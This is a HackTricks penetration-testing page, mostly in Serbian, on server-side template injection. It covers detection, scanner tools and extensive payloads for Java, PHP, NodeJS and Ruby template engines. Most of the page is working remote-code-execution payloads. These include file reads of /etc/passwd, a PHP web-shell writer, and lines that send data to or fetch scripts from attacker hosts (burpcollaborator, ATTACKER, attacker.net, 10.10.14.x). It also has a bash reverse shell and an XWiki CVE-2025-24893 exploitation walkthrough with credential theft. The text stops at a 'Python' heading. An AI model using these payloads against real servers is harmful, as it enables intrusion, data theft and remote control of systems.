SSTI (Server Side Template Injection)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Šta je SSTI (Server-Side Template Injection)
Server-side template injection je ranjivost koja se javlja kada napadač može ubaciti zlonamerni code u template koji se izvršava na serveru. Ova ranjivost može se naći u različitim tehnologijama, uključujući Jinja.
Jinja je popularan template engine koji se koristi u web aplikacijama. Pogledajmo primer koji prikazuje ranjiv code snippet koji koristi Jinja:
output = template.render(name=request.args.get('name'))
U ovom ranjivom kodu, name parametar iz zahteva korisnika se direktno prosleđuje u template koristeći render funkciju. Ovo potencijalno omogućava attacker-u da ubaci zlonamerni kod u name parametar, što dovodi do server-side template injection.
Na primer, attacker može konstruisati zahtev sa payload-om kao ovaj:
http://vulnerable-website.com/?name={{bad-stuff-here}}
The payload {{bad-stuff-here}} je injektovan u parametar name. Ovaj payload može sadržati Jinja direktive za šablone koje omogućavaju napadaču da izvrši neautorizovani kod ili manipuliše mehanizmom za šablone, potencijalno preuzimajući kontrolu nad serverom.
Da bi se sprečile ranjivosti vrste server-side template injection, developeri treba da osiguraju da je korisnički input pravilno sanitizovan i validiran pre umetanja u šablone. Implementacija validacije inputa i korišćenje kontekst-svesnog escaping-a mogu pomoći u ublažavanju rizika od ove ranjivosti.
Detekcija
Da bi se otkrio Server-Side Template Injection (SSTI), u početku je fuzzing the template jednostavan pristup. To uključuje injektovanje niza specijalnih karaktera (${{<%[%'"}}%\) u šablon i analizu razlika u odgovoru servera na regularne podatke naspram ovog specijalnog payload-a. Indikatori ranjivosti uključuju:
- Baci greške, otkrivajući ranjivost i potencijalno template engine.
- Nepostojanje payload-a u refleksiji, ili delovi koji nedostaju, što implicira da server procesira sadržaj drugačije nego regularne podatke.
- Plaintext Context: Razlikovati od XSS tako što se proveri da li server evaluira izraze šablona (npr.
{{7*7}},${7*7}). - Code Context: Potvrditi ranjivost tako što se promene ulazni parametri. Na primer, menjanje
greetinguhttp://vulnerable-website.com/?greeting=data.usernameda bi se videlo da li je izlaz servera dinamičan ili fiksan, kao u slučajugreeting=data.username}}hellokoji vraća username.
Faza identifikacije
Identifikacija template engine-a uključuje analizu poruka o grešci ili manuelno testiranje različitih payload-a specifičnih za jezik. Uobičajeni payload-i koji izazivaju greške uključuju ${7/0}, {{7/0}}, i <%= 7/0 %>. Posmatranje odgovora servera na matematičke operacije pomaže u preciziranju konkretnog template engine-a.
Identifikacija pomoću payloads
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg
- Više informacija na https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Alati
TInjA
an efficient SSTI + CSTI scanner which utilizes novel polyglots
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
SSTImap
python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Template Injection Table
interaktivna tabela koja sadrži najučinkovitije template injection polyglots zajedno sa očekivanim odgovorima 44 najvažnija template engines.
Exploits
Generički
U ovoj wordlist možete pronaći definisane promenljive u okruženjima nekih od engines navedenih ispod:
- https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
- https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
Java
Java - Basic injection
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
Java - Dohvati promenljive okruženja sistema
${T(java.lang.System).getenv()}
Java - Preuzimanje /etc/passwd
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
FreeMarker (Java)
Možete isprobati svoje payloads na https://try.freemarker.apache.org
{{7*7}} = {{7*7}}${7*7} = 49#{7*7} = 49 -- (legacy)${7*'7'} Ništa${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
Freemarker - Sandbox bypass
⚠️ radi samo na Freemarker verzijama ispod 2.3.30
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
Više informacija
- U sekciji FreeMarker na https://portswigger.net/research/server-side-template-injection
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker]
Velocity (Java)
// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end
Više informacija
- In Velocity section of https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
Thymeleaf
U Thymeleaf-u, uobičajeni test za SSTI ranjivosti je izraz ${7*7}, što važi i za ovaj template engine. Za potencijalni remote code execution mogu se koristiti izrazi poput sledećih:
- SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
- OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Thymeleaf zahteva da ovi izrazi budu postavljeni u specifične atribute. Međutim, expression inlining je podržan za druge lokacije u template-u, koristeći sintaksu poput [[...]] ili [(...)]. Dakle, jednostavan SSTI test payload može izgledati kao [[${7*7}]].
Međutim, verovatnoća da ovaj payload radi je generalno niska. Podrazumevana konfiguracija Thymeleaf-a ne podržava dinamičko generisanje template-a; template-i moraju biti unapred definisani. Programeri bi morali da implementiraju sopstveni TemplateResolver da bi kreirali template-e iz stringova u letu, što je neuobičajeno.
Thymeleaf takođe nudi expression preprocessing, gde se izrazi unutar dvostrukih donjih crta (__...__) unapred procesuiraju. Ova funkcija može biti iskorišćena pri konstrukciji izraza, kao što je prikazano u Thymeleaf dokumentaciji:
#{selection.__${sel.code}__}
Primer ranjivosti u Thymeleaf
Razmotrite sledeći isečak koda, koji bi mogao biti podložan eksploataciji:
<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
Ovo ukazuje da, ako template engine nepravilno obradi ove ulaze, to može dovesti do remote code execution koji pristupa URL-ovima poput:
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
Više informacija
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Zaobilaženje filtera
Može se koristiti više izraza promenljivih; ako ${...} ne radi, pokušajte #{...}, *{...}, @{...} ili ~{...}.
- Pročitaj
/etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
- Custom Script za generisanje payload-a
#!/usr/bin/python3
## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"
from sys import argv
cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
Više informacija
Spring manipulacija prikaza (Java)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
Pebble (Java)
{{ someString.toUPPERCASE() }}
Stara verzija Pebble ( < version 3.0.9):
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
Nova verzija Pebble-a:
{% raw %}
{% set cmd = 'id' %}
{% endraw %}
{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206
Jinjava je projekat otvorenog koda razvijen od strane Hubspot-a, dostupan na https://github.com/HubSpot/jinjava/
Jinjava - Command execution
Ispravljeno u https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Više informacija
Hubspot - HuBL (Java)
{% %}delitelji iskaza{{ }}delitelji izraza{# #}delitelji komentara{{ request }}- com.hubspot.content.hubl.context.TemplateContextRequest@23548206{{'a'.toUpperCase()}}- “A”{{'a'.concat('b')}}- “ab”{{'a'.getClass()}}- java.lang.String{{request.getClass()}}- class com.hubspot.content.hubl.context.TemplateContextRequest{{request.getClass().getDeclaredMethods()[0]}}- public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
Potražite “com.hubspot.content.hubl.context.TemplateContextRequest” i otkrićete Jinjava project on Github.
{{request.isDebug()}}
//output: False
//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution
//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Više informacija
Expression Language - EL (Java)
${"aaaa"}- “aaaa”${99999+1}- 100000.#{7*7}- 49${{7*7}}- 49${{request}}, ${{session}}, {{faceContext}}
Expression Language (EL) je osnovna funkcionalnost koja omogućava interakciju između prezentacionog sloja (kao što su web stranice) i logike aplikacije (npr. managed beans) u JavaEE. Koristi se u velikoj meri u više JavaEE tehnologija kako bi se pojednostavila ova komunikacija. Ključne JavaEE tehnologije koje koriste EL uključuju:
- JavaServer Faces (JSF): Koristi EL za povezivanje komponenti na JSF stranicama sa odgovarajućim backend podacima i akcijama.
- JavaServer Pages (JSP): EL se koristi u JSP za pristup i manipulaciju podacima unutar JSP stranica, olakšavajući povezivanje elemenata stranice sa podacima aplikacije.
- Contexts and Dependency Injection for Java EE (CDI): EL se integriše sa CDI kako bi omogućio besprekornu interakciju između web sloja i managed beans, obezbeđujući koherentniju strukturu aplikacije.
Pogledajte sledeću stranicu da biste saznali više o eksploataciji EL interpretatora:
Groovy (Java)
Sledeći Security Manager bypassi su preuzeti iz ovog writeup.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x
//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
XWiki SolrSearch Groovy RCE (CVE-2025-24893)
XWiki ≤ 15.10.10 (fixed in 15.10.11 / 16.4.1 / 16.5.0RC1) renderuje neautentifikovane RSS search feed-ove kroz Main.SolrSearch macro. Handler uzima query parametar text, umotava ga u wiki sintaksu i evaluira macros, pa injektovanjem }}} praćenog sa {{groovy}} izvršava proizvoljan Groovy u JVM-u.
- Otisak i obim – Kada je XWiki reverse-proksiran iza host-based routing-a, fuzz-ujte
Hostheader (ffuf -u http://<ip> -H "Host: FUZZ.target" ...) da otkrijete wiki vhost, zatim otvorite/xwiki/bin/view/Main/i pročitajte footer (XWiki Debian 15.10.8) da potvrdite ranjivu verziju. - Trigger SSTI – Request-ujte
/xwiki/bin/view/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync%20async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln(%22Hello%22)%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D%20. RSS item<title>će sadržati Groovy output. Uvek “URL-encode all characters” tako da razmaci ostanu kao%20; zamena sa+tera XWiki da baci HTTP 500. - Run OS commands – Zamenite Groovy telo sa
{{groovy}}println("id".execute().text){{/groovy}}.String.execute()pokreće komandu direktno saexecve(), tako da shell metakarakteri (|,>,&) nisu interpretirani. Koristite download-and-execute pattern umesto toga:
"curl http://ATTACKER/rev -o /dev/shm/rev".execute().text"bash /dev/shm/rev".execute().text(skript sadrži reverse shell logiku).
- Post eksploatacija – XWiki čuva database kredencijale u
/etc/xwiki/hibernate.cfg.xml; leakinghibernate.connection.passwordgives real-system passwords koje možete ponovo iskoristiti za SSH. Ako service unit postaviNoNewPrivileges=true, alati kao što su/bin/suneće dobiti dodatne privilegije čak i sa validnim lozinkama, tako da pivotujte preko SSH umesto oslanjanja na lokalne SUID binarne fajlove.
Isti payload radi i na /xwiki/bin/get/Main/SolrSearch, i Groovy stdout je uvek embedovan u RSS title, tako da je lako skriptovati enumeraciju komandi.
Other Java
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg
- Više informacija u https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Smarty (PHP)
{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
Više informacija
- U Smarty sekciji https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig (PHP)
{{7*7}} = 49${7*7} = ${7*7}{{7*'7'}} = 49{{1/0}} = Error{{foobar}} Nothing
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}
#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}
Twig - Format šablona
$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);
$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);
Više informacija
- U sekciji Twig i Twig (Sandboxed) na https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
Plates (PHP)
Plates je sistem za templiranje, nativan za PHP, koji crpi inspiraciju iz Twig-a. Međutim, za razliku od Twig-a, koji uvodi novu sintaksu, Plates koristi izvorni PHP kod u šablonima, što ga čini intuitivnim za PHP programere.
Kontroler:
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
Predložak stranice:
<?php $this->layout('template', ['title' => 'User Profile']) ?>
<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>
Izgled šablona:
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
Više informacija
PHPlib i HTML_Template_PHPLIB (PHP)
HTML_Template_PHPLIB je isto kao PHPlib ali portovan na Pear.
authors.tpl
<html>
<head>
<title>{PAGE_TITLE}</title>
</head>
<body>
<table>
<caption>
Authors
</caption>
<thead>
<tr>
<th>Name</th>
<th>Email</th>
</tr>
</thead>
<tfoot>
<tr>
<td colspan="2">{NUM_AUTHORS}</td>
</tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr>
<td>{AUTHOR_NAME}</td>
<td>{AUTHOR_EMAIL}</td>
</tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>
authors.php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');
//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>
Više informacija
Ostali PHP
.png)
https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg
- Više informacija na https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
Više informacija
- U odeljku Jade na https://portswigger.net/research/server-side-template-injection
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade–codepen
patTemplate (PHP)
patTemplate nekompajlirajući PHP template engine koji koristi XML tagove za podelu dokumenta na različite delove
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
Više informacija
Handlebars (NodeJS)
Path Traversal (više informacija here).
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
- = Greška
- ${7*7} = ${7*7}
- Ništa
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D
Više informacija
JsRender (NodeJS)
| Šablon | Opis |
|---|---|
| Evaluiraj i renderuj izlaz | |
| Evaluiraj i renderuj HTML enkodiran izlaz | |
| Komentar | |
| i | Dozvoli kod (onemogućeno po defaultu) |
- = 49
Klijentska strana
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Serverska strana
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
Više informacija
PugJs (NodeJS)
#{7*7} = 49#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}
Primer server-side renderovanja
var pugjs = require("pug")
home = pugjs.render(injected_page)
Više informacija
NUNJUCKS (NodeJS)
- {{7*7}} = 49
- {{foo}} = Nema izlaza
- #{7*7} = #{7*7}
- {{console.log(1)}} = Greška
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')"
)()
}
}
{
{
range.constructor(
"return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')"
)()
}
}
Više informacija
NodeJS sandboxi za izraze (vm2 / isolated-vm)
Neki workflow builder-i procenjuju izraze koje kontroliše korisnik unutar Node sandboxa (vm2, isolated-vm), ali kontekst izraza i dalje izlaže this.process.mainModule.require. To omogućava napadaču da učita child_process i izvrši OS komande čak i kada su namenski “Execute Command” čvorovi onemogućeni:
={{ (function() {
const require = this.process.mainModule.require;
const execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
Ostali NodeJS
 (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg
 (1) (1).png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg
- Više informacija na https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
ERB (Ruby)
{{7*7}} = {{7*7}}${7*7} = ${7*7}<%= 7*7 %> = 49<%= foobar %> = Error
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file
<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines() %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
Više informacija
Slim (Ruby)
{ 7 * 7 }
{ %x|env| }
Više informacija
Ostalo za Ruby
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg
.png)
https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg
- Više informacija na https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
Python
